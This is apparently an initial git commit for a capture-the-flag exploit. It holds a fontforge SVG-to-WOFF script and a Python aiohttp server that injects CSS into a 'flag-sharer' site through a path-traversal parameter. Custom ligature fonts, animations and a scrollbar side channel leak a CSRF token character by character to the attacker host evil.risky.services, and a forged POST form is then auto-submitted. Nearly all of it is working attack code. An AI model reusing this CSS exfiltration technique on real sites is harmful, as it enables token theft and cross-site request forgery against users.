init
This commit is contained in:
commit
3bfaee9417
|
@ -0,0 +1,3 @@
|
||||||
|
#!/usr/bin/fontforge
|
||||||
|
Open($1)
|
||||||
|
Generate($1:r + ".woff")
|
|
@ -0,0 +1,257 @@
|
||||||
|
import asyncio as aio
|
||||||
|
from aiohttp import web
|
||||||
|
import ssl
|
||||||
|
import logging
|
||||||
|
import tempfile
|
||||||
|
import subprocess
|
||||||
|
import os
|
||||||
|
import base64
|
||||||
|
import math
|
||||||
|
|
||||||
|
SELF_URL = "https://evil.risky.services:1338"
|
||||||
|
TARGET_URL = "https://flag-sharer.ml/gifts?error=../item%3fname=@import%2burl(%2522{self_url}{{style_path}}%2522);".format(self_url=SELF_URL)
|
||||||
|
SELECTOR = """textarea[name="csrf"]"""
|
||||||
|
SPECIFICITY_HACK = """[name="csrf"]"""
|
||||||
|
LEAK_LEN = 34
|
||||||
|
|
||||||
|
BF_CHARSET = ["a", "b", "c", "d", "e", "f", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "i"]
|
||||||
|
|
||||||
|
ep = """<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<script>const sessid = "{sessid}"</script>
|
||||||
|
<style>
|
||||||
|
#target {{
|
||||||
|
height: 100vh;
|
||||||
|
width: 100vw;
|
||||||
|
overflow-x: auto;
|
||||||
|
display: block;
|
||||||
|
}}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<iframe frameborder="0" height="100%" width="100%" id="target" src={target_uri}></iframe>
|
||||||
|
<form id="myform" method="POST" action="https://flag-sharer.ml/send">
|
||||||
|
<input type="hidden" name="recipient" value="sdfg">
|
||||||
|
<input type="hidden" name="gift" value="actual flag">
|
||||||
|
<input id="csrf" type="hidden" name="csrf" value="">
|
||||||
|
</form>
|
||||||
|
<script>
|
||||||
|
function sleep(ms) {{
|
||||||
|
return new Promise(resolve => setTimeout(resolve, ms));
|
||||||
|
}}
|
||||||
|
async function try_fetch() {{
|
||||||
|
while (true) {{
|
||||||
|
r = await fetch("/token/"+sessid);
|
||||||
|
j = await r.json();
|
||||||
|
console.log(j);
|
||||||
|
if (j['status'] == 'true') {{
|
||||||
|
document.getElementById("csrf").value = j["token"];
|
||||||
|
document.getElementById("myform").submit();
|
||||||
|
break;
|
||||||
|
}}
|
||||||
|
await sleep(3000);
|
||||||
|
}}
|
||||||
|
}}
|
||||||
|
try_fetch();
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
"""
|
||||||
|
|
||||||
|
base_style = """
|
||||||
|
@import url("{self_url}{{style_path}}");
|
||||||
|
:root {{{{
|
||||||
|
--x: red;
|
||||||
|
}}}}
|
||||||
|
{{selector}} {{{{
|
||||||
|
display: block !important;
|
||||||
|
height: 4em;
|
||||||
|
white-space: nowrap;
|
||||||
|
}}}}
|
||||||
|
{{selector}}::-webkit-scrollbar {{{{ background: var(--x); }}}}
|
||||||
|
""".format(self_url=SELF_URL)
|
||||||
|
|
||||||
|
class Session(object):
|
||||||
|
count = 0
|
||||||
|
prefix = "i"
|
||||||
|
evt = aio.Event()
|
||||||
|
|
||||||
|
FONT_CTR = 0
|
||||||
|
def generate_font(ligature):
|
||||||
|
global FONT_CTR
|
||||||
|
svg = """<svg>
|
||||||
|
<defs>
|
||||||
|
<font id="hack{id}" horiz-adv-x="0">
|
||||||
|
<font-face font-family="hack{id}" units-per-em="1000" />
|
||||||
|
<missing-glyph />
|
||||||
|
{}
|
||||||
|
{}
|
||||||
|
</font>
|
||||||
|
</defs>
|
||||||
|
</svg>""".format(
|
||||||
|
'\n '.join(['<glyph unicode="{}" horiz-adv-x="0" d="M1 0z"/>'.format(c) for c in BF_CHARSET]),
|
||||||
|
'<glyph unicode="{}" horiz-adv-x="8000" d="M1 0z"/>'.format(ligature),
|
||||||
|
id=FONT_CTR
|
||||||
|
)
|
||||||
|
print(svg)
|
||||||
|
woff = b''
|
||||||
|
with tempfile.NamedTemporaryFile(mode="w+", suffix=".svg") as svgfp:
|
||||||
|
svgfp.write(svg)
|
||||||
|
svgfp.flush()
|
||||||
|
subprocess.run(["/usr/bin/fontforge", "./convert.fontforge", svgfp.name])
|
||||||
|
woffname = os.path.splitext(svgfp.name)[0] + '.woff'
|
||||||
|
with open(woffname, 'rb') as wofffp:
|
||||||
|
woff = wofffp.read()
|
||||||
|
os.remove(woffname)
|
||||||
|
|
||||||
|
css = """@font-face {{
|
||||||
|
font-family: "hack{}";
|
||||||
|
src: url(data:application/x-font-woff;base64,{});
|
||||||
|
}}
|
||||||
|
""".format(FONT_CTR, base64.b64encode(woff).decode())
|
||||||
|
FONT_CTR += 1
|
||||||
|
return (css, 'hack' + str(FONT_CTR-1))
|
||||||
|
|
||||||
|
def generate_fonts(prefix):
|
||||||
|
css = ''
|
||||||
|
chars = {}
|
||||||
|
for c in BF_CHARSET:
|
||||||
|
fnt, fam = generate_font(prefix + c)
|
||||||
|
css += fnt
|
||||||
|
chars[prefix+c] = fam
|
||||||
|
return (css, chars)
|
||||||
|
|
||||||
|
def generate_frame(frame, sess, count, delta):
|
||||||
|
fdelta = delta / 5.0
|
||||||
|
css = """{}
|
||||||
|
{}
|
||||||
|
{}
|
||||||
|
{}
|
||||||
|
{}""".format(
|
||||||
|
'{:0.2f}% {{font-family:empty;--x:red;}}'.format(frame[1]),
|
||||||
|
'{:0.2f}% {{font-family:"{}";--x:red;}}'.format(frame[1]+(1*fdelta), frame[0][1]),
|
||||||
|
'{:0.2f}% {{font-family:"{}";--x:blue url({self_url}/leak/{sess}/{count}/{});}}'.format(frame[1]+(2*fdelta), frame[0][1], frame[0][0], self_url=SELF_URL, sess=sess, count=count),
|
||||||
|
'{:0.2f}% {{font-family:"{}";--x:red;}}'.format(frame[1]+(3*fdelta), frame[0][1]),
|
||||||
|
'{:0.2f}% {{font-family:empty;--x:red;}}'.format(frame[1]+(4*fdelta)))
|
||||||
|
return css
|
||||||
|
|
||||||
|
import decimal
|
||||||
|
def float_range(start, stop, step):
|
||||||
|
while start < stop:
|
||||||
|
yield float(start)
|
||||||
|
start += step
|
||||||
|
|
||||||
|
ANIM_CTR = 0
|
||||||
|
def generate_animations(chars, sess, count):
|
||||||
|
global ANIM_CTR
|
||||||
|
delta = math.floor(99/(len(chars.keys())-1))
|
||||||
|
frames = list(zip(chars.items(), range(0, 99, delta)))
|
||||||
|
css = """@keyframes troll{} {{
|
||||||
|
{}
|
||||||
|
100% {{font-family:empty;--x:red}}
|
||||||
|
}}""".format(ANIM_CTR, '\n '.join([generate_frame(f, sess, count, delta) for f in frames]))
|
||||||
|
ANIM_CTR += 1
|
||||||
|
return (css, 'troll' + str(ANIM_CTR-1))
|
||||||
|
|
||||||
|
def generate_attack_style(prefix, sess, count):
|
||||||
|
fonts, chars = generate_fonts(prefix)
|
||||||
|
anim, animid = generate_animations(chars, sess, count)
|
||||||
|
css = """@import url("{self_url}{next_path}");
|
||||||
|
{fonts}
|
||||||
|
{anim}
|
||||||
|
{selector}{specificity_hack} {{
|
||||||
|
overflow-x: auto;
|
||||||
|
width: 4em;
|
||||||
|
animation-duration: 3s;
|
||||||
|
animation-delay: 0s;
|
||||||
|
animation-timing-function: step-start;
|
||||||
|
font-family: empty;
|
||||||
|
background: lightblue;
|
||||||
|
animation-name: {animid};
|
||||||
|
}}""".format(self_url=SELF_URL, next_path='/attack/{}/{}'.format(sess, int(count)+1), fonts=fonts, anim=anim, selector=SELECTOR, specificity_hack=SPECIFICITY_HACK*int(count), animid=animid)
|
||||||
|
return css
|
||||||
|
|
||||||
|
SESS_CTR = 0
|
||||||
|
SESSIONS = {}
|
||||||
|
async def handle_entrypoint(req):
|
||||||
|
logging.warning("Got one")
|
||||||
|
global SESS_CTR
|
||||||
|
global SESSIONS
|
||||||
|
sessid = SESS_CTR
|
||||||
|
SESS_CTR += 1
|
||||||
|
SESSIONS[sessid] = Session()
|
||||||
|
SESSIONS[sessid].evt.set()
|
||||||
|
uniq_url = TARGET_URL.format(style_path="/style/" + str(sessid))
|
||||||
|
rez = ep.format(sessid=sessid, target_uri=uniq_url)
|
||||||
|
return web.Response(text=rez, content_type='text/html')
|
||||||
|
|
||||||
|
async def get_style(req):
|
||||||
|
sess = req.match_info['sess']
|
||||||
|
logging.warning("%s requested base style" % sess)
|
||||||
|
rez = base_style.format(style_path="/attack/" + sess + "/0", selector=SELECTOR+SPECIFICITY_HACK)
|
||||||
|
return web.Response(text=rez, content_type='text/css')
|
||||||
|
|
||||||
|
async def handle_attack(req):
|
||||||
|
global SESSIONS
|
||||||
|
sess = req.match_info['sess']
|
||||||
|
sessid = int(sess)
|
||||||
|
if sessid not in SESSIONS.keys():
|
||||||
|
logging.error("Bad session %s" % sess)
|
||||||
|
return web.Response(text='')
|
||||||
|
session = SESSIONS[sessid]
|
||||||
|
await aio.gather(session.evt.wait(), aio.sleep(3))
|
||||||
|
session.evt.clear()
|
||||||
|
count = req.match_info['count']
|
||||||
|
c = int(count)
|
||||||
|
if c >= LEAK_LEN or c != session.count:
|
||||||
|
logging.error("Bad count: expected %d got %d" % (session.count, c))
|
||||||
|
return web.Response(text='')
|
||||||
|
logging.warning("%s requested attack style" % sess)
|
||||||
|
rez = generate_attack_style(session.prefix, sess, count)
|
||||||
|
session.count += 1
|
||||||
|
return web.Response(text=rez, content_type='text/css')
|
||||||
|
|
||||||
|
async def handle_token(req):
|
||||||
|
global SESSIONS
|
||||||
|
sess = req.match_info['sess']
|
||||||
|
sessid = int(sess)
|
||||||
|
if sessid not in SESSIONS.keys():
|
||||||
|
logging.error("Bad session %s" % sess)
|
||||||
|
session = SESSIONS[sessid]
|
||||||
|
if len(session.prefix) < LEAK_LEN:
|
||||||
|
return web.json_response({'status': 'false'})
|
||||||
|
else:
|
||||||
|
return web.json_response({'status': 'true', 'token': session.prefix[:LEAK_LEN]})
|
||||||
|
|
||||||
|
async def handle_leak(req):
|
||||||
|
global SESSIONS
|
||||||
|
sess = req.match_info['sess']
|
||||||
|
sessid = int(sess)
|
||||||
|
if sessid not in SESSIONS.keys():
|
||||||
|
logging.error("Bad session %s" % sess)
|
||||||
|
return web.Response(text='')
|
||||||
|
session = SESSIONS[sessid]
|
||||||
|
count = req.match_info['count']
|
||||||
|
c = int(count)
|
||||||
|
if c >= LEAK_LEN or c != session.count-1:
|
||||||
|
logging.error("Bad count: expected %d got %d" % (session.count, c))
|
||||||
|
return web.Response(text='')
|
||||||
|
session.evt.set()
|
||||||
|
data = req.match_info['data']
|
||||||
|
logging.warning("%s reported %s" % (sess, data))
|
||||||
|
session.prefix=data
|
||||||
|
return web.Response(body=b'', content_type='image/png')
|
||||||
|
|
||||||
|
app = web.Application()
|
||||||
|
app.add_routes([web.get('/entrypoint', handle_entrypoint),
|
||||||
|
web.get('/style/{sess:\d+}', get_style),
|
||||||
|
web.get('/attack/{sess:\d+}/{count:\d+}', handle_attack),
|
||||||
|
web.get('/leak/{sess:\d+}/{count:\d+}/{data}', handle_leak),
|
||||||
|
web.get('/token/{sess:\d+}', handle_token),])
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
print(generate_attack_style('id', '0', '10'))
|
||||||
|
ssl_ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
|
||||||
|
ssl_ctx.load_cert_chain('/etc/letsencrypt/live/evil.risky.services/fullchain.pem', '/etc/letsencrypt/live/evil.risky.services/privkey.pem')
|
||||||
|
web.run_app(app, port=1338, ssl_context=ssl_ctx)
|
Loading…
Reference in New Issue